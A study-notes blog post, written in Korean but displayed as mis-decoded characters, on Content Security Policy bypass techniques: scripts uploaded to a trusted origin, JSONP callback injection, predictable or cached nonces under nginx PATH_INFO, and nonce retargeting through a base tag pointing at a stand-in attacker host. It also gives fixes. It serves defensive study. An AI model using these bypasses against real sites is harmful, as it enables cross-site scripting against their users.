[2025-08-02] CSP Bypass

๐Ÿฆฅ ๋ณธ๋ฌธ

CSP ์šฐํšŒ

์‹ ๋ขฐํ•˜๋Š” ๋„๋ฉ”์ธ์— ์—…๋กœ๋“œ

์ถœ์ฒ˜์— ์Šคํฌ๋ฆฝํŠธ์™€ ๊ฐ™์€ ์ž์›์„ ์—…๋กœ๋“œํ•œ ๋’ค ๋‹ค์šด๋กœ๋“œ ๊ฒฝ๋กœ๋กœ ์›น ํŽ˜์ด์ง€์— ์ž์›์„ ํฌํ•จ

  • EX) ๊ณต๊ฒฉ์ž๊ฐ€ /download_file.php?id=177742 ์— ์ž์‹ ์ด ๋งŒ๋“  JS ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•œ ๊ฒฝ์šฐ์— self ์ •์ฑ…์— ์œ„๋ฐฐ๋˜์ง€ ์•Š์•„์„œ CSP ์šฐํšŒ ์„ฑ๊ณต

       <meta http-equiv="Content-Security-Policy" content="script-src 'self'">
      ...
      <h1>๊ฒ€์ƒ‰ ๊ฒฐ๊ณผ: <script src="/download_file.php?id=177742"></script></h1>
    

JSONP API

CSP์—์„œ ํ—ˆ์šฉํ•œ ์ถœ์ฒ˜๊ฐ€ JSONP API๋ฅผ ์ œ๊ณตํ•˜๋Š” ๊ฒฝ์šฐ callback ํŒŒ๋ผ๋ฏธํ„ฐ์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ๊ณต๊ฒฉ

  • JSONP API : JS ์ฝ”๋“œ์ฒ˜๋Ÿผ ์ƒ๊ธด ๋ฐ์ดํ„ฐ๋ฅผ <script> ํƒœ๊ทธ๋ฅผ ํ†ตํ•ด ๋ฐ›์•„์˜ค๋Š” ๋ฐฉ์‹. ์ฆ‰, ์„œ๋กœ ๋‹ค๋ฅธ ๋„๋ฉ”์ธ ๊ฐ„์— ๋ฐ์ดํ„ฐ๋ฅผ ์ฃผ๊ณ ๋ฐ›์„ ๋•Œ ์‚ฌ์šฉํ•˜๋Š” ๊ธฐ์ˆ 
    • EX)
      1. ํด๋ผ์ด์–ธํŠธ์—์„œ showUser ์š”์ฒญ
        <script src="https://api.example.com/user?id=123&callback=showUser"></script>
      
      1. ์„œ๋ฒ„์—์„œ ์‘๋‹ต
        showUser({
          "name": "Alice",
          "age": 25
        });
      
      1. showUser() ํ•จ์ˆ˜๊ฐ€ ํด๋ผ์ด์–ธํŠธ์— ์ •์˜๋ผ ์žˆ๋‹ค๋ฉด ์„œ๋ฒ„์—์„œ ๋„˜๊ธด ๋ฐ์ดํ„ฐ ์‹คํ–‰
  • EX) *.google.com ์—์„œ ์˜จ ์ถœ์ฒ˜๋งŒ ํ—ˆ์šฉํ•œ๋‹ค๊ณ  ๊ฐ€์ •. ๊ตฌ๊ธ€์—์„œ JSONP API๋ฅผ ์ง€์›ํ•˜๋Š” ์„œ๋ฒ„๋ฅผ ์ฐพ์•„ callback์— ์›ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…

      https://accounts.google.com/o/oauth2/revoke?callback=alert(1);
        
      <meta http-equiv="Content-Security-Policy" content="script-src 'https://*.google.com/'">
      ...
      <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1);"></script>
      <!-- JSONP API ๊ฒฐ๊ณผ:
      // API callback
      alert(1);({
        "error": {
          "code": 400,
          "message": "Invalid JSONP callback name: 'alert(1)'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
          "status": "INVALID_ARGUMENT"
        }
      }
      );
      -->
    

nonce

  • ์™ธ๋ถ€ JS ๋กœ๋“œ

      <script src= ".."></script>
    
    • ์™ธ๋ถ€ JS๋Š” ์ •์  ํŒŒ์ผ์ด๋ผ๊ณ  ์ „์ œํ•˜์—ฌ nonce ๊ฒ€์‚ฌ๋ฅผ ์•ˆํ•จ
    • script-src ๋งŒ ๊ฒ€์‚ฌ
    • ํ•ด๋‹น ์ฃผ์†Œ์—์„œ ๋™์ ์œผ๋กœ ์‘๋‹ตํ•˜๋Š” ๊ฒฝ์šฐ ์ทจ์•ฝ์  ๋ฐœ์ƒ
  • nonce ๊ฐ’์ด ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ ๊ฐ’์ธ ๊ฒฝ์šฐ์— ๊ณต๊ฒฉ์ž๊ฐ€ ์œ ์ถ”ํ•˜์—ฌ ์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž… ๊ฐ€๋Šฅ.
    • ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ ์•Œ๊ณ ๋ฆฌ์ฆ˜ X
    • ํ˜„์žฌ ์‹œ๊ฐ ๊ธฐ๋ฐ˜์˜ rand(), srand() ๋“ฑ์„ ์‚ฌ์šฉํ•˜๋ฉด ์˜ˆ์ธก ๊ฐ€๋Šฅ
    • ์˜์‚ฌ ๋‚œ์ˆ˜ ์ƒ์„ฑ๊ธฐ CSPRNG ์‚ฌ์šฉ ๊ถŒ์žฅ
  • nonce ๊ฐ’์„ ๋‹ด๊ณ  ์žˆ๋Š” HTTP ํ—ค๋” ๋˜๋Š” <meta> ํƒœ๊ทธ ์บ์‹ฑ ์ฃผ์˜
    • PHP, CGI ๊ณ„์—ด ์Šคํฌ๋ฆฝํŒ…์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ /index.php/style.css ์ฒ˜๋Ÿผ ๋’ค์— ์ถ”๊ฐ€์ ์ธ ๊ฒฝ๋กœ๋ฅผ ๋ถ™์—ฌ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅ
    • ํ™•์žฅ์ž ๊ธฐ๋ฐ˜์œผ๋กœ ์บ์‹œ ์—ฌ๋ถ€๋ฅผ ํŒ๋‹จํ•˜๋Š” ๊ฒฝ์šฐ .css ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ์ •์  ํŒŒ์ผ์ด๋ฏ€๋กœ ์บ์‹œ์— ์ €์žฅ ๊ฐ€๋Šฅ.
      • .css์ฒ˜๋Ÿผ ๋ณด์ด๋Š” PHP ๋™์  ์ฝ˜ํ…์ธ ์ธ ๊ฒฝ์šฐ๊ฐ€ ๋ฐœ์ƒ
      • ์บ์‹œ ๋งŒ๋ฃŒ ์ „๊นŒ์ง€ ์š”์ฒญ๋งˆ๋‹ค ๊ฐ™์€ nonce ๊ฐ€ ๋Œ์•„์˜ค๋ฏ€๋กœ nonce๋ฅผ ํš๋“ ๊ฐ€๋Šฅ โ†’ DOM XSS ๊ฐ€๋Šฅ
    • ๋™์ž‘ ํ๋ฆ„
      1. index.php ๋Š” ๋™์ ์œผ๋กœ ํŽ˜์ด์ง€๋ฅผ ์ƒ์„ฑํ•˜๋Š” ์„œ๋ฒ„์˜ PHP ์ฝ”๋“œ. ์‘๋‹ต์— ๋งค๋ฒˆ ๋‹ค๋ฅธ CSP nonce ๊ฐ’์„ ๋„ฃ์–ด์คŒ
      2. /index.php/style.css ๋กœ URL ๋ณ€์กฐ : ์ •์  ํŒŒ์ผ .css ์ฒ˜๋Ÿผ ๋ณด์ด๊ฒŒ ์กฐ์ž‘.
        • ๋’ค์— ์žˆ๋Š” URL์—์„œ /index.php๋งŒ ๋ณด๊ณ  index.php๋ฅผ ์‹คํ–‰. /style.css๋Š” PHP ์ฝ”๋“œ ๋‚ด๋ถ€์—์„œ ๋ฌด์‹œ๋˜๊ฑฐ๋‚˜ ์ถ”๊ฐ€ ์ •๋ณด๋กœ ์ „๋‹ฌ
      3. ์š”์ฒญ์˜ .css ํ™•์žฅ์ž๋ฅผ ๋ณธ ๋ธŒ๋ผ์šฐ์ €๋Š” ์‘๋‹ต ์บ์‹ฑ
      4. ์บ์‹ฑ ๋งŒ๋ฃŒ ์ „๊นŒ์ง€๋Š” ๊ฐ™์€ nonce ๊ฐ€ ๊ณ„์† ์‚ฌ์šฉ
        • ํ•ด๋‹น CSS URL์„ ์š”์ฒญํ•˜๋ฉด ๊ฐ™์€ nonce ๊ฐ’์„ ๋ฐ›์Œ. ์ด ๊ฐ’์„ script์— ๋„ฃ์œผ๋ฉด CSP ์šฐํšŒ ๊ฐ€๋Šฅ
    • EX) snippet/fastcgi-php.conf ์˜ ์ผ๋ถ€ ์ค‘ ์•„๋ž˜์™€ ๊ฐ™์€ ์„ค์ •์„ ํ•˜๋Š” ๊ฒฝ์šฐ

         # regex to split $uri to $fastcgi_script_name and $fastcgi_path
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        -> .php ๊นŒ์ง€๋งŒ ์‹คํ–‰ ๋Œ€์ƒ ํŒŒ์ผ๋กœ ์ธ์‹. ๊ทธ ๋’ค๋Š” ์ถ”๊ฐ€ ์ •๋ณด (path info)๋กœ ์ฒ˜๋ฆฌ
        -> ์ฆ‰ PHP ์‹คํ–‰ 
              
        # Check that the PHP script exists before passing it
        try_files $fastcgi_script_name =404;
              
        # Bypass the fact that try_files resets $fastcgi_path_info
        # see: http://trac.nginx.org/nginx/ticket/321
        set $path_info $fastcgi_path_info;
        fastcgi_param PATH_INFO $path_info;
              
        fastcgi_index index.php;
        include fastcgi.conf;
      
      • index.php/style.css ๋ฅผ ๋ณด๋ƒˆ์„ ๋•Œ ์•„๋ž˜์˜ ์‘๋‹ต์ด ์บ์‹ฑ์ด ๋˜์–ด ๊ณ ์ •๋œ nonce ๊ฐ’ ๋…ธ์ถœ

          <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-ABC123'">
        
      • ๊ณต๊ฒฉ์ž๊ฐ€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‚ฌ์šฉ ๊ฐ€๋Šฅ

          <script nonce="ABC123">alert(1);</script> 
        
    • PATH_INFO ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š์„ ๊ฑฐ๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด ์„ค์ •
      • ๋ ๋ถ€๋ถ„์ด .php ์ผ ๋•Œ๋งŒ FastCGI๋กœ ๋„˜์–ด๊ฐ€๊ฒŒ ์ˆ˜์ •
      • ๋˜ํ•œ a/b.php/c/d.php ๊ฐ™์ด .php ์ค‘๋ณต ์‚ฌ์šฉ์„ ๋Œ€๋น„ํ•˜์—ฌ fastcgi-php.conf ์Šค๋‹ˆํŽซ์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ  ์•„๋ž˜์™€ ๊ฐ™์ด Nginx ์„ค์ • ๋ณ€๊ฒฝ
        • ์Šค๋‹ˆํŽซ : ์ž์ฃผ ์“ฐ๋Š” ์„ค์ • ๋‚ด์šฉ์„ ๋”ฐ๋กœ ๋ฝ‘์•„์„œ ์ €์žฅํ•ด๋‘” ์กฐ๊ฐ
          location ~ \.php$ {         
              try_files $uri =404;
              fastcgi_index index.php;
              include fastcgi.conf;  -> fastcgi.conf์—๋Š” PATH_INFO๊ฐ€ ์—†์Œ
              fastcgi_pass unix:/run/php/php7.2-fpm.sock;
          }
        
        • ~ \.php$ ๋ฅผ ํ†ตํ•ด .php๋กœ ๋๋‚˜๋Š” URL๋งŒ ์ฒ˜๋ฆฌ
        • fastcgi-php.conf ์Šค๋‹ˆํŽซ์ด ์•„๋‹Œ fastcgi.conf ์„ includeํ•˜์—ฌ ์‚ฌ์šฉ

base-uri ๋ฏธ์ง€์ •

<base> ํƒœ๊ทธ๋Š” ๊ฒฝ๋กœ๊ฐ€ ํ•ด์„๋˜๋Š” ๊ธฐ๋ณธ ๊ฐ’ ๋ณ€๊ฒฝ.

  • Nonce Retargeting : nonce ๊ฐ€ ์œ ํšจํ•œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๊ณต๊ฒฉ์ž์˜ ์ฃผ์†Œ๋กœ ์œ ๋„ํ•ด์„œ ์‹คํ–‰์‹œํ‚ค๋Š” ๊ณต๊ฒฉ
    • EX) ๊ณต๊ฒฉ์ž๊ฐ€<base href="https://malice.test/"> ๋ฅผ ์‚ฝ์ž… ํ•˜๋Š” ๊ฒฝ์šฐ

      โ†’ ๊ธฐ์กด์˜ src๊ฐ€ ํฌํ•จ๋œ ์Šคํฌ๋ฆฝํŠธ๋Š” nonce๋„ ์ด๋ฏธ ์กด์žฌํ•˜๋ฏ€๋กœ ๋ฌธ์ œ ์—†์ด ์Šคํฌ๋ฆฝํŠธ ๋กœ๋”ฉ์ด ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„๋กœ ๋ฐ”๋€Œ์–ด ์‹คํ–‰

base-uri ์ง€์‹œ๋ฌธ์„ ์ž„์˜๋กœ ์ง€์ •ํ•˜์ง€ ์•Š๋Š” ์ด์ƒ default ์ดˆ๊ธฐ ๊ฐ’์ด ์กด์žฌ ํ•˜์ง€ ์•Š์•„ base-uri๋ฅผ none์œผ๋กœ ์ง€์ •ํ•˜์—ฌ ๋ง‰์•„์•ผ ํ•œ๋‹ค.

Content-Security-Policy: base-uri 'none'

Categories:

Updated:

Leave a comment